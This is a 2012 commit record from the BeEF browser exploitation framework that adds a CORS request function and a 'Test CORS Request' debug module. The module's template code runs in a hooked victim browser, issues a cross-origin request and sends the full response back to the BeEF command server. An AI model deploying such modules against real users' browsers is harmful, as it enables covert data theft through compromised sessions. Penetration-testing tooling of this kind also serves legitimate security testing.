Add beef.net.cors.request

Returns a response object with HTTP status, headers and body

Add 'Test CORS Request' debug module
This commit is contained in:
bcoles
2012-11-26 02:50:27 +10:30
parent da08911080
commit 3152f41a18
5 changed files with 138 additions and 5 deletions

View File

@@ -0,0 +1,16 @@
//
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var method = "<%= @method %>";
var url = "<%= @url %>";
var data = "<%= @data %>";
beef.net.cors.request(method, url, data, function(response) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "response="+JSON.stringify(response)); });
});